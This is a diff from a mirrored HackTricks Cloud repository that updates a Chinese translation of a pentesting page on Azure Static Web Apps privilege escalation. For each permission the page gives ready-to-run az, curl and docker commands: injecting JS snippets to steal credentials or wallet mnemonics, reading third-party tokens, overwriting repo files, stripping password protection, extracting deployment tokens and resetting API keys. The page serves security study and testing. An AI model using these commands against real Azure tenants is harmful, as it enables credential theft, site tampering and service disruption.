mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['', 'src/pentesting-cloud/azure-security/az-privilege-escala
This commit is contained in:
+26
-26
@@ -4,7 +4,7 @@
|
||||
|
||||
## Azure Static Web Apps
|
||||
|
||||
有关此服务的更多信息,请参阅:
|
||||
For more information about this service check:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-static-web-apps.md
|
||||
@@ -12,9 +12,9 @@
|
||||
|
||||
### Microsoft.Web/staticSites/snippets/write
|
||||
|
||||
通过创建一个 snippet,可以使静态网页加载任意 HTML 代码。这可能允许攻击者在 web app 中注入 JS 代码,并窃取敏感信息,例如凭证或助记词(在 web3 wallets 中)。
|
||||
可以通过创建 snippet 使静态网页加载任意 HTML 代码。这可能允许攻击者在 web app 内注入 JS 代码并窃取敏感信息,例如 credentials 或用于 web3 wallets 的 mnemonic keys。
|
||||
|
||||
下面的命令创建了一个 snippet,该 snippet 将始终被 web app 加载::
|
||||
下面的命令会创建一个 snippet,该 snippet 将始终被 web app 加载::
|
||||
```bash
|
||||
az rest \
|
||||
--method PUT \
|
||||
@@ -31,7 +31,7 @@ az rest \
|
||||
}
|
||||
}'
|
||||
```
|
||||
### 阅读已配置的第三方凭据
|
||||
### 读取已配置的第三方凭据
|
||||
|
||||
如在 App Service 部分所述:
|
||||
|
||||
@@ -39,7 +39,7 @@ az rest \
|
||||
../az-privilege-escalation/az-app-services-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
运行下面的命令可以**读取当前帐户中配置的第三方凭据**。注意,例如如果某些 Github 凭据配置在不同的用户下,你将无法从其他用户访问该 token。
|
||||
运行以下命令可以**读取当前账户中配置的第三方凭据**。注意,例如如果某些 Github 凭据配置在不同的用户下,你将无法从另一个用户访问该 token。
|
||||
```bash
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
|
||||
@@ -69,14 +69,14 @@ curl -H "Authorization: Bearer <token>" \
|
||||
-H "Accept: application/json" \
|
||||
https://graph.microsoft.com/v1.0/me/drive/root/children
|
||||
```
|
||||
### 覆盖文件 - 覆盖 routes、HTML、JS...
|
||||
### 覆盖文件 - Overwrite routes, HTML, JS...
|
||||
|
||||
可以通过 Azure 在拥有 **Github token** 的情况下发送类似下面的请求,来**覆盖 Github repo 中的文件**(该 repo 包含该应用),请求会指明要覆盖的文件路径、文件内容和提交信息。
|
||||
可以**覆盖包含该应用的 Github 仓库 中的文件**,方法是通过 Azure 拥有 **Github token** 时发送如下请求,该请求会指明要覆盖文件的路径、文件内容以及提交信息。
|
||||
|
||||
攻击者可以滥用这一点,基本上通过**更改 web app 的内容**来提供恶意内容(窃取凭证、助记词等),或者仅仅通过覆盖 `staticwebapp.config.json` 文件来**将某些路径重定向**到他们自己的服务器。
|
||||
这可以被攻击者滥用,基本上可通过覆盖 `staticwebapp.config.json` 文件来**更改 web app 的内容**以提供恶意内容(窃取凭证、助记词等),或仅仅**将某些路径重新路由**到他们自己的服务器。
|
||||
|
||||
> [!WARNING]
|
||||
> 注意,如果攻击者以任何方式设法入侵了该 Github repo,他们也可以直接从 Github 覆盖该文件。
|
||||
> 注意,如果攻击者以任何方式攻破 Github 仓库,他们也可以直接在 Github 上覆盖该文件。
|
||||
```bash
|
||||
curl -X PUT "https://functions.azure.com/api/github/updateGitHubContent" \
|
||||
-H "Content-Type: application/json" \
|
||||
@@ -99,7 +99,7 @@ curl -X PUT "https://functions.azure.com/api/github/updateGitHubContent" \
|
||||
```
|
||||
### Microsoft.Web/staticSites/config/write
|
||||
|
||||
有了此权限,可以通过发送如下请求来**修改保护静态 Web 应用的密码**,甚至解除所有环境的保护:
|
||||
有了此权限,可以通过发送如下请求**修改保护 static web app 的密码**,甚至取消保护所有环境:
|
||||
```bash
|
||||
# Change password
|
||||
az rest --method put \
|
||||
@@ -133,7 +133,7 @@ az rest --method put \
|
||||
```
|
||||
### Microsoft.Web/staticSites/listSecrets/action
|
||||
|
||||
此权限允许获取静态应用的 **API key deployment token**。
|
||||
该权限允许获取静态应用的 **API 密钥部署令牌**。
|
||||
|
||||
使用 az rest:
|
||||
```bash
|
||||
@@ -144,27 +144,27 @@ az rest --method POST \
|
||||
```bash
|
||||
az staticwebapp secrets list --name <appname> --resource-group <RG>
|
||||
```
|
||||
Then, in order to **使用 token 更新应用** you could run the following command. Note that this command was extracted checking **how to Github Action [https://github.com/Azure/static-web-apps-deploy](https://github.com/Azure/static-web-apps-deploy) works**, as it's the one Azure set by default ot use. So the image and paarements could change in the future.
|
||||
Then, in order to **使用该令牌更新应用** you could run the following command. Note that this command was extracted checking **Github Action [https://github.com/Azure/static-web-apps-deploy](https://github.com/Azure/static-web-apps-deploy) 如何工作**, as it's the one Azure set by default ot use. So the image and paarements could change in the future.
|
||||
|
||||
> [!TIP]
|
||||
> 要部署该应用,您可以使用来自 [https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token](https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token) 的 **`swa`** 工具,或按以下原始步骤操作:
|
||||
> 要部署该应用,你可以使用来自 [https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token](https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token) 的 **`swa`** 工具,或者按以下原始步骤操作:
|
||||
|
||||
1. 下载仓库 [https://github.com/staticwebdev/react-basic](https://github.com/staticwebdev/react-basic)(或任何你想部署的仓库),然后运行 `cd react-basic`。
|
||||
2. 修改你想部署的代码
|
||||
3. 通过运行以下命令部署它(记得更改 `<api-token>`):
|
||||
1. 下载 repo [https://github.com/staticwebdev/react-basic](https://github.com/staticwebdev/react-basic)(或任何其他你想部署的 repo)并运行 `cd react-basic`。
|
||||
2. 修改你想要部署的代码
|
||||
3. 运行以下命令进行部署(记得替换 `<api-token>`):
|
||||
```bash
|
||||
docker run --rm -v $(pwd):/mnt mcr.microsoft.com/appsvc/staticappsclient:stable INPUT_AZURE_STATIC_WEB_APPS_API_TOKEN=<api-token> INPUT_APP_LOCATION="/mnt" INPUT_API_LOCATION="" INPUT_OUTPUT_LOCATION="build" /bin/staticsites/StaticSitesClient upload --verbose
|
||||
```
|
||||
> [!WARNING]
|
||||
> 即使你拥有该 token,如果 **部署授权策略** 设置为 **Github**,你仍然无法部署应用。要使用该 token,你需要权限 `Microsoft.Web/staticSites/write` 来将部署方法更改为使用该 API token。
|
||||
|
||||
> 即便你拥有 token,如果 **Deployment Authorization Policy** 被设置为 **Github**,你也无法部署该应用。要使用该 token,你需要权限 `Microsoft.Web/staticSites/write` 来将部署方法更改为使用 APi token。
|
||||
|
||||
### Microsoft.Web/staticSites/write
|
||||
|
||||
拥有此权限可以 **将静态 Web 应用的源更改为不同的 Github 存储库**,但它不会被自动配置,因为这必须通过 Github Action 完成。
|
||||
有了此权限,可以**将静态 Web 应用的源更改为不同的 Github repository**,但是它不会被自动配置,因为这必须由 Github Action 完成。
|
||||
|
||||
然而,如果 **部署授权策略** 设置为 **Github**,就可以 **从新的源存储库更新应用!**。
|
||||
但是,如果 **Deployment Authotization Policy** 被设置为 **Github**,则可以**从新的源 repository 更新该应用!**
|
||||
|
||||
如果 **部署授权策略** 未设置为 Github,你可以使用相同的权限 `Microsoft.Web/staticSites/write` 来更改它。
|
||||
如果 **Deployment Authorization Policy** 未设置为 Github,你可以使用相同的权限 `Microsoft.Web/staticSites/write` 将其更改。
|
||||
```bash
|
||||
# Change the source to a different Github repository
|
||||
az staticwebapp update --name my-first-static-web-app --resource-group Resource_Group_1 --source https://github.com/carlospolop/my-first-static-web-app -b main
|
||||
@@ -250,16 +250,16 @@ action: "close"
|
||||
```
|
||||
### Microsoft.Web/staticSites/resetapikey/action
|
||||
|
||||
拥有此权限可以**重置 static web app 的 API key**,可能会对自动部署该应用的 workflows 发起 DoSing。
|
||||
拥有此权限可以**重置 static web app 的 API key**,可能对自动部署该应用的 workflows 发起 DoSing。
|
||||
```bash
|
||||
az rest --method POST \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/resetapikey?api-version=2019-08-01"
|
||||
```
|
||||
### Microsoft.Web/staticSites/createUserInvitation/action
|
||||
|
||||
该权限允许 **为用户创建邀请**,使其以指定角色访问静态 Web 应用内的受保护路径。
|
||||
此权限允许**为用户创建邀请**,以便该用户使用指定角色访问 static web app 中的受保护路径。
|
||||
|
||||
登录位于诸如 `/.auth/login/github`(用于 github)或 `/.auth/login/aad`(用于 Entra ID)这样的路径,用户可以使用以下命令被邀请:
|
||||
登录位于例如 `/.auth/login/github`(用于 github)或 `/.auth/login/aad`(用于 Entra ID)这样的路径,用户可以使用以下命令被邀请:
|
||||
```bash
|
||||
az staticwebapp users invite \
|
||||
--authentication-provider Github # AAD, Facebook, GitHub, Google, Twitter \
|
||||
@@ -272,12 +272,12 @@ az staticwebapp users invite \
|
||||
```
|
||||
### Pull Requests
|
||||
|
||||
默认情况下,来自同一 repo 分支的 Pull Requests 会在一个 staging environment 中被自动编译和构建。具有对该 repo 的写权限但无法绕过生产分支(通常是 `main`)分支保护的攻击者,可能会滥用这一点,在 staging URL 上 **部署应用的恶意版本**。
|
||||
默认情况下,来自同一仓库分支的 Pull Requests 会在一个暂存环境中自动编译和构建。攻击者如果对仓库有写权限但无法绕过生产分支(通常为 `main`)的分支保护,可能会滥用这一点,在暂存 URL 上 **部署恶意版本的应用**。
|
||||
|
||||
The staging URL has this format: `https://<app-subdomain>-<PR-num>.<region>.<res-of-app-domain>` like: `https://ambitious-plant-0f764e00f-2.eastus2.4.azurestaticapps.net`
|
||||
|
||||
> [!TIP]
|
||||
> Note that by default external PRs won't run workflows unless they have merged at least 1 PR into the repository. An attacker could send a valid PR to the repo and **then send a malicious PR** to the repo to deploy the malicious app in the stagging environment. HOWEVER, there is an unexpected protection, the default Github Action to deploy into the static web app need access to the secret containing the deployment token (like `secrets.AZURE_STATIC_WEB_APPS_API_TOKEN_AMBITIOUS_PLANT_0F764E00F`) eve if the deployment is done with the IDToken. This means that because an external PR won't have access to this secret and an external PR cannot change the Workflow to place here an arbitrary token without a PR getting accepted, **this attack won't really work**.
|
||||
> 注意:默认情况下外部 PR 不会运行 workflows,除非他们已经至少向仓库合并过 1 个 PR。攻击者可以先发送一个合法的 PR 到仓库,然后再发送一个恶意 PR,将恶意应用部署到暂存环境中。然而,存在一个意外的保护机制:用于部署到 static web app 的默认 GitHub Action 即便在使用 IDToken 进行部署时,也需要访问包含部署令牌的 secret(例如 `secrets.AZURE_STATIC_WEB_APPS_API_TOKEN_AMBITIOUS_PLANT_0F764E00F`)。这意味着外部 PR 无法访问该 secret,且在 PR 未被接受的情况下,外部 PR 也无法修改 Workflow 来放入任意令牌,**因此该攻击实际上无法奏效**。
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user